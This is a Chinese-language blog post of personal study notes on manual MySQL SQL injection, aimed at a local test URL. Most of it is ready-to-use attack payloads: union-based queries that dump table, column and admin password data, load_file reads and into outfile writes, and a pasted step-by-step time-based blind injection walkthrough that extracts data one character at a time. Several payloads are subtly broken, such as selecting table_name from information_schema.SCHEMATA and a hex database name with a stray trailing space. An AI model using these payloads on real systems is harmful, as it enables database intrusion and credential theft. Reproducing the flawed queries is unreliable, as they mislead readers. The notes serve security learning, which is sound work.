博客這個東西真的很考驗耐心,每寫一篇筆記,都是在艱難的決定中施行的,畢竟誰都有懶惰的一面,就像這個,mysql注入篇,拖拖拖一直拖到現在才開始總結,因為這個實在是太多太雜了,細細的總結一篇太燒腦。 由於我沒有找見php的實戰本地源碼,所以只好用一些漏洞平台的源碼來演示了,演示不了的,只能列代碼,沒有實操圖。畢竟找不見源碼,,沒法。。。 首先我們都知道mysql資料庫和Access資料庫的不同,不同在mysql是分多個資料庫名的。
就像像我上圖貼的這個格式一樣,原諒我是在是沒有本地源碼,連資料庫的都沒有,所以,貼不開實際圖。
在mysql注入中,我們不細談mysql其他的技巧類,只講注入,說到這裡,這個資料庫可以分為兩個部分,一個是5.0以上,一個是5.0以下。因為在5.0以上的版本中,會存在一個類似虛擬的information_schema這個資料庫,裡面匯總了該大資料庫下,所有的數據,也就是說是在其他資料庫A,資料庫B以內的數據,都可以在這裡找見,而5.0以下的,就只能和Access資料庫一樣靠猜解庫名,表名,列名。
現在來介紹幾個在滲透測試中常用的幾個函數和表庫名。 資料庫名:database() 資料庫版本: version() 資料庫用戶: user() 操作系統: @@version_compile_os 系統用戶名: system_user() 當前用戶名: current_user 連接資料庫的用戶名:session_user() 讀取資料庫路徑:@@datadir
MYSQL安裝路徑:@@basedir
load_file 轉成16進位或者10進位 MYSQL讀取本地文件函數
into outfile 寫入函數
儲存所有表名信息的表 :information_schema.tables 表名 : table_name 資料庫名: table_schema 列名 : column_name 儲存所有列名信息的表 :information_schema.columns
好了下面就開始記錄我構造的語句了,這裡先說一點,我會總結的很細,但是我不會在這篇文章里總結一些注入繞過的技巧,只會總結一些注入得庫,表,列的語句。mysql注入可分為很多中注入方法,從普通注入,報錯注入,再到盲注,還有一些奇葩的注入點語句,也就是這些。關於大家都知道的post注入,cookie注入,字元串注入,搜索注入,這些注入技巧,我會專門開一片文章記錄下,因為這些都是技巧性的。
我現在先記錄mysql5.0以上的注入方法,5.0以下的就像我前面的說的一樣,沒有規律可循,全靠蒙,全靠猜,和Access資料庫一樣。首先我需要判斷是否可以注入,然後再判斷欄位數,這兩個步驟和Access資料庫注入一樣,都是 and 1=1 , and 1=2 ,還有 order by 欄位數。剩下的注入庫名,表名,列名,數據才是重點。
http://127.0.0.1/mysql/sql.php?x=1
假如這是一個注入點,我們知道他的欄位數是3,那麼我們的語句就是 :
http://127.0.0.1/mysql/sql.php?x=1 union select 1,2,3
然後直接回車,查看能否爆出數字,這裡和Access的不同是,這裡不需要在後面面加入表名,因為我們也不知道表名是啥,如果是5.0以下的,我們就只能像Access呢個的進行猜了。
假如爆出1,2 ,3 這三個欄位數,那我們就可以注入一些信息了。
http://127.0.0.1/mysql/sql.php?x=1 union select database(),version(),user()
這三個函數,我們分別替代了1,2,3這三個位置,然後就可以得出資料庫名,資料庫版本,資料庫用戶,記住這是當前的資料庫的名字,和用戶。
假如我們得知:
當前資料庫名:sqlin
資料庫版本:5.5.40
當前資料庫用戶:root@localhost
當然我們也可以替換成其他的函數,比如 @datadir 來獲取資料庫路徑, @@version_compile_os 來獲取操作系統,對了說到操作系統,win對大小寫不銘感,但是Linux對大小很銘感,不能出錯的,這個要記住。
下面開始構造獲取當前資料庫下的表名:
http://127.0.0.1/mysql/sql.php?x=1 union select group_concat(table_name),2,3 from
information_schema.tables where table_schema=0x73716C696E20
這個語句的意思就是獲取當前資料庫下所有表名,0x73716C696E20
這個是hex編碼,大家可以用小葵轉換工具來轉換,就是把第一步收集到的當前資料庫名hex編碼一下。當然我們也可以一個一個的來注入出當前資料庫下所有表名,等等,讓我去找找我的筆記本,我翻翻我自己在本子上記錄的。額,找不見了,估計忘學校沒拿了,,我去網上找找貼一段。
http://127.0.0.1/mysql/sql.php?x=1 union select table_name,2,3, from information_schema.SCHEMATA limit 0,1
這個也是可以注入出當前資料庫的表名的,只不過是一個一個的輸出,你知道控制limit後面的數字就可以,比如 0,1 、1,2、2,3 就是這個格式的。
不過我還是喜歡全部爆出來,然後再一個一個去找可能存在賬密的表,所以我就只記錄全部爆出的。
假如我們選中了一個叫 admin 的這個表名,那麼就開始爆出該表名下的列名。
下面開始構造注入當前表名下的列名的語句:
http://127.0.0.1/mysql/sql.php?x=1 union select group_concat(column_name),2,3 from
information_schema.columns where table_name=0x61646D696E
這個就可以爆出所有該表名的下的列名,0x61646D696E 這個是我們剛才選中的 admin 這個表名的hex的轉碼。
這一步下去,我們就得到列名了,假如我們選中了 username ,password 這兩個列名,那麼我就開始爆數據了,這個就很簡單了,
http://127.0.0.1/mysql/sql.php?x=1 union select 1,username,password from admin
這個是不是就出來了,對了還有個方法,就利用一個字數點,就爆出以內全部的列名下的信息。
http://127.0.0.1/mysql/sql.php?x=1 union select 1,group_concat(username,0x5c,password),3 from admin
這個就是利用一個點,出來全部的數據。
這個是最簡單的常規測試的,我在上面的函數里是不是還列出了一個load_file() 這個函數,這個是用來讀取路徑內的內容的,但是必須是絕對路徑,比如: D:mysql123,txt 它只能讀取這樣的絕對路徑的內容。
這是一個例子:
http://127.0.0.1/mysql/sql.php?x=1 union select load_file("D:/mysql/123,txt "),2,3
這個就是一個讀取,root許可權和普通許可權可以有很大區別的,如果是root,你可以讀取全部的,如果不是root ,是普通,你只能讀取普通用戶才能讀的文件。對了,root,,,前面還有一個函數,我得說說 into outfile 寫入函數 ,這個必須是root許可權才行的,而且你還得需要知道絕對路徑。
這是一個例子:
http://127.0.0.1/mysql/sql.php?x=1 union select "shiyan",2,3 into outfile "D:/mysql/123,txt"
對了,不知道你們發現了沒有我在地址用了 / 這個,而沒有用 這個,算個小謎題,我不細說了。
到這裡是不是就可以說完了?錯!我盲注語句,還有報錯語句還沒匯總了。。。現在開始匯總。
先構造盲注語句吧,盲注的核心就是靠 if 判斷來注入的,我去。。。我在本地的記事本上構造了半天,才想開一個問題,,,盲注不是幾個簡單的語句就能概括全的,就像上面寫的雖然總結了,但是也只是常用的mysql手工注入,還有很多的其他的等等的。。。算了,我直接貼一個吧,在烏雲上的文章,,一位大神總結的,但是也只是一小部分,還有其他的很多構造語句,他的文章對於理解盲注可以理解下,不過一般這類測試都是直接上sqlmap神器直接跑的,畢竟手工注入也只是因為靈活的特性才一直保留的,可以各種繞,各種測試,所以也是必須得會的。
我要開始貼這個大神總結mysql手工盲注了,(如果大神本人看到了,覺得侵權了,我可以私信我,我會刪的。)
-----------------------------------------------------------------------------------------------------------
mysql手工盲注
作者:474082729@qq.com盲注的核心是靠 if 判斷來注入手工盲注之前先複習一下if 判斷等函數version() 是查看資料庫版本 database() 查看資料庫名
user() 查看當前用戶
length( xxxxx ) 函數是統計字元串的長度
mid(str,1,3) 字元串截取
從位元組1開始截 截到3就結束知乎專欄ORD() 轉換成ascii碼
ascii碼對照表 ASCII碼對照表IF 語法:
if (條件,True,False);開始手工盲注select * from admin where user = "admin" and sleep(2); 執行需要2秒
1.獲取資料庫名長度database() 查看資料庫名
## ( select length(database() ) )查詢資料庫名長度
select * from admin where user = "admin" and sleep( if( ( select length(database()) = 2 ) , 5,0 ) );如果資料庫的長度等於2的話那麼就執行true 否則就執行False 最後變成了 sleep(0)
如果資料庫長度等於 7 的話 就執行true最後變成了 sleep(5)也就是select * from admin where user = "admin」 and sleep(5)最後得知資料庫長度是 7 那麼接下來就是獲取資料庫名了
2.獲取資料庫名資料庫長度是 7select * from admin where user = "admin" and sleep( if( (select mid(database(),1,1) = "a" ) , 5,0 ) );執行執行False 說明 第一個位元組不是a
select * from admin where user = "admin" and sleep( if( (select mid(database(),1,1) = "x" ) , 5,0 ) );執行執行true 執行了5秒 說明第一個位元組是x然後慢慢注入到7。。。。。。select * from admin where user = "admin" and sleep( if( (select mid(database(),1,1) = "x") , 5,0 ) );select * from admin where user = "admin" and sleep( if( (select mid(database(),2,1) = "i" ) , 5,0 ) );select * from admin where user = "admin" and sleep( if( (select mid(database(),3,1) = "n") , 5,0 ) );select * from admin where user = "admin" and sleep( if( (select mid(database(),4,1) = "d") , 5,0 ) );select * from admin where user = "admin" and sleep( if( (select mid(database(),5,1) = "o") , 5,0 ) );select * from admin where user = "admin" and sleep( if( (select mid(database(),6,1) = "n") , 5,0 ) );select * from admin where user = "admin" and sleep( if( (select mid(database(),7,1) = "g") , 5,0 ) );第一個位元組是x第二個位元組是i第三個位元組是n第四個位元組是d第五個位元組是o第六個位元組是n第七個位元組是g全都是執行 5秒 然後得知 資料庫是 xindong當然了 這方法注入比較慢 比如有些資料庫是特殊符號呢?那怎麼辦?一個一個符號猜解嗎?採用ORD函數進行ascii碼來判斷會快點比如:select * from admin where user = "admin" and sleep( if( ORD((select mid(database(),1,1))) > 200 , 5,0 ) );條件:大於200 執行false 說明 不大於select * from admin where user = "admin" and sleep( if( ORD((select mid(database(),1,1))) > 100 , 5,0 ) );條件:大於100 執行true 說明大於select * from admin where user = "admin" and sleep( if( ORD((select mid(database(),1,1))) > 120 , 5,0 ) );條件:大於120 執行false 說明不大於select * from admin where user = "admin" and sleep( if( ORD((select mid(database(),1,1))) > 110 , 5,0 ) );條件:大於110 執行true 說明大於說明資料庫第一個位元組的ascii碼大於110小於120說明是110~120之間select * from admin where user = "admin" and sleep( if( ORD((select mid(database(),1,1))) = 120 , 5,0 ) );等於 120 執行true 說明第一個位元組的ascii碼是120
最後解碼得出是 x
3.獲取表名長度select * from admin where user = "admin" and 1=2 union select 1, sleep(if( length(TABLE_NAME) = 5 ,5,0)) from information_schema.TABLES where TABLE_SCHEMA=database() limit 0,1;位元組等於 5 執行true說明表名長度為5
4.獲取表名獲取第1個位元組select * from admin where user = "admin" and 1=2 union select 1,sleep( if( (select mid(TABLE_NAME,1,1))="a" ,5,0) ) from information_schema.TABLES where TABLE_SCHEMA=database() limit 0,1;請求時間為5秒 說明是a獲取第2個位元組select * from admin where user = "admin" and 1=2 union select 1,sleep( if( (select mid(TABLE_NAME,2,1))="d" ,5,0) ) from information_schema.TABLES where TABLE_SCHEMA=database() limit 0,1;請求時間為5秒 說明是d獲取第3個位元組select * from admin where user = "admin" and 1=2 union select 1,sleep( if( (select mid(TABLE_NAME,3,1))="m" ,5,0) ) from information_schema.TABLES where TABLE_SCHEMA=database() limit 0,1;請求時間為5秒 說明是m獲取第4個位元組select * from admin where user = "admin" and 1=2 union select 1,sleep( if( (select mid(TABLE_NAME,4,1))="i" ,5,0) ) from information_schema.TABLES where TABLE_SCHEMA=database() limit 0,1;請求時間為5秒 說明是i獲取第5個位元組select * from admin where user = "admin" and 1=2 union select 1,sleep( if( (select mid(TABLE_NAME,5,1))="n" ,5,0) ) from information_schema.TABLES where TABLE_SCHEMA=database() limit 0,1;請求時間為5秒 說明是n
5.獲取表名的第一個欄位長度表名是:admin 16進位:61646d696eselect * from admin where user = "admin" and 1=2 union select 1,sleep( if (length(COLUMN_NAME) = 4,5,0 ) ) from information_schema.COLUMNS where TABLE_NAME=0x61646d696e limit 0,1;請求時間5秒 說明第一個子段有4個位元組
6.獲取表名的第一個欄位名select * from admin where user = "admin" and 1=2 union select 1,sleep( if( ( select mid(COLUMN_NAME,1,1) )= "u",5,0)) from information_schema.COLUMNS where TABLE_NAME=0x61646d696e limit 0,1;select * from admin where user = "admin" and 1=2 union select 1,sleep( if( ( select mid(COLUMN_NAME,2,1) )= "s",5,0)) from information_schema.COLUMNS where TABLE_NAME=0x61646d696e limit 0,1;select * from admin where user = "admin" and 1=2 union select 1,sleep( if( ( select mid(COLUMN_NAME,3,1) )= "e",5,0)) from information_schema.COLUMNS where TABLE_NAME=0x61646d696e limit 0,1;select * from admin where user = "admin" and 1=2 union select 1,sleep( if( ( select mid(COLUMN_NAME,4,1) )= "r",5,0)) from information_schema.COLUMNS where TABLE_NAME=0x61646d696e limit 0,1;爆出第一個欄位是 user然後第一個欄位判斷可能是用戶名 還少來個密碼欄位那麼就在 5.獲取表名的第一個欄位長度 把limit 1,1 獲取下一個欄位長度再進行獲取密碼欄位
7.獲取資料庫內容7.1 先猜第一個欄位的資料庫的長度select * from admin where user = "admin" and 1=2 union select 1,sleep( if (length(user) = 5 , 5,0) ) from admin limit 0,1;執行5秒 說明這個欄位的數據內容位元組長度是5那麼就是獲取數據了select * from admin where user = "admin" and 1=2 union select 1,sleep( if (mid(user,1,1) = "a" , 5,0) ) from admin limit 0,1;select * from admin where user = "admin" and 1=2 union select 1,sleep( if (mid(user,2,1) = "d" , 5,0) ) from admin limit 0,1;select * from admin where user = "admin" and 1=2 union select 1,sleep( if (mid(user,3,1) = "m" , 5,0) ) from admin limit 0,1;select * from admin where user = "admin" and 1=2 union select 1,sleep( if (mid(user,4,1) = "i" , 5,0) ) from admin limit 0,1;select * from admin where user = "admin" and 1=2 union select 1,sleep( if (mid(user,5,1) = "n" , 5,0) ) from admin limit 0,1;然後用戶名就是 admin 了終於貼完了,,,,,這些基本上就可以了解到手工盲注的原理和構造了,當然如果還想繼續深入的話,可以去百度吧,,,去搜索吧。。。畢竟這些只是一些皮毛。下面開始說其他的報錯注入了,,,這個我研究了好久,後來一過年,我又忘的差不多了。。。。好多種報錯方式注入,,這個我自己是真的只能找資料匯總到一塊了,我自己是手寫不開的,,都忘的差不多了。。。。都是超鏈接,自己想深入的可以再去找找資料。
十種MySQL報錯注入
根據mysql報錯進行回顯注入的原理是什麼?
MySQL暴錯注入方法整理
Mysql報錯注入原理分析(count()、rand()、group by)
MySQL注入總結&MySQL暴錯注入方法整理
經典的MySQL Duplicate entry報錯注入
好了,這些就差不多了,都是我看過的,雖說還是不太精通,,,畢竟這個在ctf中才會出現的題。。。。。
總結下吧,沒有源碼,無法演示,上面說的我用攻防平台吧,後來想了想,我還準備專門開帖子,記錄我打本地攻防平台的帖子,提前上的話,感覺我就沒動力記錄的了。這個文章,正如上面說的,很多技巧都沒記錄,純粹的簡單的記錄了下,畢竟我想把技巧性的再匯總到一個帖子里。
每記錄一下,都是對自己知識的複習,就像人家搞培訓的,多講講就不會忘,我是自己多寫寫多匯總匯總,就算忘了,我自己翻看我自己的記錄也會很快想起來的。
推薦閱讀: